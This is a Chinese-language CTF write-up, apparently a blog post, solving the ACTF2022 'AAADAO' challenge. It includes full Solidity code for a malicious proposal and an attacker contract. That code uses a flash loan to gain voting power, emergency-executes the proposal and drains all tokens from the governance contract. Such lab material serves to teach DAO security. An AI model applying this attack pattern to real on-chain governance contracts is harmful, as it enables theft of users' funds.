ACTF2022 AAADAO


ACTF2022 AAADAO 复现

题目描述

Deploy合约


contract Deployer{

    event Deploy(address token, address gov);

    function init() external returns(address,address) {
        AAA token=new AAA();
        Gov gov=new Gov(IVotes(token));
        token.transfer(address(gov),token.balanceOf(address(this)));
        
        emit Deploy(address(token), address(gov));
    
        return (address(token),address(gov));
    }
}

首先创造了一个ERC20 token,AAA。然后又创造了一个DAO,Gov。并将所有的AAA token都转到了Gov合约中。

解题条件是清空Gov合约中的所有token。

Token合约

pragma solidity ^0.8.0;

import "./token/ERC20/extensions/ERC20Votes.sol";
import "./interfaces/IERC3156FlashBorrower.sol";
import "./interfaces/IERC3156FlashLender.sol";

bytes32 constant _RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");

contract AAA is ERC20Votes{
    constructor() ERC20("AToken", "AAA") ERC20Permit("AToken") {
        _mint(msg.sender, 100000000 * 10 ** decimals());
    }

    function maxFlashLoan(address token) public view returns (uint256) {
        return token == address(this) ? type(uint256).max - ERC20.totalSupply() : 0;
    }

    function flashFee(address token, uint256 amount) public view returns (uint256) {
        require(token == address(this));
        uint fee=amount/100;

        if(fee<10){
            return 10;
        }
        return fee;
    }

    function flashLoan(
        IERC3156FlashBorrower receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) public returns (bool) {
        require(amount <= maxFlashLoan(token));
        uint256 fee = flashFee(token, amount);
        _mint(address(receiver), amount);
        require(
            receiver.onFlashLoan(msg.sender, token, amount, fee, data) == _RETURN_VALUE
        );
        _spendAllowance(address(receiver), address(this), amount + fee);
        _burn(address(receiver), amount + fee);
        return true;
    }
}

可以看到的是,合约实现了一个标准ERC20 token,并且还附带有ERC3156闪电贷功能,手续费为1%。

同时还要求

  • receiver符合IERC3156FlashBorrower类型
  • receiver要实现onflashloan函数,并且返回_RETURN_VALUE
  • receiver要给Token合约授权amount+fee的额度

Gov合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

import "./interfaces/IERC20.sol";
import "./governance/Governor.sol";
import "./governance/extensions/GovernorVotes.sol";
import "./governance/extensions/GovernorCountingSimple.sol";
import "./governance/extensions/GovernorVotesQuorumFraction.sol";

contract Gov is Governor, GovernorVotes,GovernorCountingSimple,GovernorVotesQuorumFraction{
    address mytoken;
    constructor(IVotes _token)
        Governor("AAAGov")
        GovernorVotes(_token)
        GovernorVotesQuorumFraction(4)
    {
        _token.delegate(address(this));
        mytoken=address(_token);
    }

    function votingDelay() public pure override returns (uint256) {
        return 10; // 1 day
    }

    function votingPeriod() public pure override returns (uint256) {
        return 46027; // 1 week
    }

    function proposalThreshold() public pure override returns (uint256) {
        return 0;
    }
}

合约的主要内容为

  • 提案的基准票数百分比为4%
  • 提案要求持有最低token为0,即谁都可以发送提案
  • 提案开始投票时间为10个Block
  • 提案持续时间为46027个Block

显然我们是等不到46027个Block的,所以我们需要用到emergencyExecuteRightNow立即执行提案。

查阅代码发emergencyExecuteRightNow需要满足条件

  • _quorumReachedEmergency(proposalId)
    • proposalvote.forVotes > proposalvote.againstVotes*2
  • _voteSucceededEmergency(proposalId))
    • quorum(proposalSnapshot(proposalId)) *2 <= proposalvote.forVotes + proposalvote.abstainVotes;

即赞成票大于反对票的2倍,并且大于4%*2=8%

因为提案无门槛,并且我们拥有闪电贷,借出大于8%的token,所以很容易可以构造一个攻击提案,将Gov合约中的所有AAA token都转到攻击者中。

恶意提案

contract Proposal {
    address public immutable TokenAddress;
    address public immutable GovernorAddress; 
    address public immutable  HackerAddress;
    constructor(address token,address gov){
        TokenAddress = token;
        GovernorAddress = gov;
        HackerAddress = msg.sender;
    }
    function executeProposal() public {
        AAA a = AAA(TokenAddress);
        a.transfer(HackerAddress, a.balanceOf(GovernorAddress));
    }
}

恶意提案内容很简单,即将Gov合约中的所有AAA token转移到攻击者中。

这里出现了一个问题,在调试时发现所有地址都是0,后来查阅资料得知executeProposal是delegatecall调用的,使用的合约上下文是目标合约(gov合约),所以必须将需要的addresss设为常量写死。官方解释为

constant and immutable variables do not occupy a storage slot, they are injected in the bytecode at compile time.

而constant 和 immutable 的区别是constant必须在初始化时赋值,immutable可以在构造函数中赋值,因此在这我们选择immutable。

攻击合约

contract Hacker {
    AAA public a;
    Gov public g;
    address public ProposalAddress;
    uint256 public pid;
    constructor(address token, address gov) {
        a = AAA(token);
        g = Gov(payable(gov));
        ProposalAddress = address(new Proposal(token,gov));
        address[] memory _addr = new address[](1);
        _addr[0] = ProposalAddress;
        uint256[] memory _value = new uint256[](1);
        _value[0] = 0;
        bytes[] memory _sig = new bytes[](1);
        _sig[0] = abi.encodeWithSignature("executeProposal()");
        string memory _desc = "114514";
        pid = g.propose(_addr, _value, _sig, _desc);
    }
    function Hack() public {
        a.flashLoan(
            IERC3156FlashBorrower(address(this)),
            address(a),
            a.totalSupply() / 10,
            ""
        );
    }

    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32) {
        a.delegate(address(this));
        address[] memory _addr = new address[](1);
        _addr[0] = ProposalAddress;
        uint256[] memory _value = new uint256[](1);
        _value[0] = 0;
        bytes[] memory _sig = new bytes[](1);
        _sig[0] = abi.encodeWithSignature("executeProposal()");
        string memory _desc = "114514";
        g.castVote(pid, 1);
        g.emergencyExecuteRightNow(_addr, _value, _sig, keccak256(bytes(_desc)));
        a.increaseAllowance(address(a), amount + fee);
        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
}

攻击合约的逻辑比较复杂,在这里我们一一解读

首先在构造函数中我们使用了构造了恶意提案并且进行了提案。
propose函数传参为

function propose(
        address[] memory targets,
        uint256[] memory values,
        bytes[] memory calldatas,
        string memory description
    ) public virtual returns (uint256 proposalId);
  • targets即为提案的合约地址
  • values指提案需要发送的values,这里不用,我们设为0
  • calldatas为执行提案的calldata,这里我们填入executeProposal的signature即可
  • description为提案的描述,这里我们随便填一个数

完成提案后我们得到了提案的id,记为pid,在后续执行提案时会用到。

接下来便是我们的闪电贷合约,这里我们选择贷走10%的token,符合了紧急执行提案的条件。

闪电贷的逻辑中,我们首先将代理投票权给了hacker。然后进行投票,投1即是支持。

之后进行了紧急执行,执行之后再授权给AAA合约amount+fee的额度以偿还闪电贷。

至此,攻击完成了,gov合约中的所有token都被转移到了hacker合约中。

攻击流程

function testexp() public {
        console.log("token:",address(token));
        console.log("gov:",address(gov));
        hacker = new Hacker(address(token),address(gov));

        console.log("Hacker Address", address(hacker));
        vm.roll(12);
        console.log("block number:",block.number);
        hacker.Hack();
        console.log("Balance of gov",token.balanceOf(address(gov)));
        console.log("Balance of hacker",token.balanceOf(address(hacker)));
    }

这里有一个小问题,我在复现时使用的foundry进行测试,但是投票需要10个区块之后,不过还好foundry有cheatcodes机制,可以轻松改变区块高度。

image

总结

本题在AAA举办的ACTF中出现,也是第一次见到DAO背景下的CTF,并且结合了闪电贷攻击,非常有意思。

本题最大的攻击点就在于任何人都可以发起提案,所以我们开发者在创立或者维护DAO的时候,一定一定要注意合约安全问题,不然一不小心就是巨额损失。


文章作者: Latt1ce
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Latt1ce !
  目录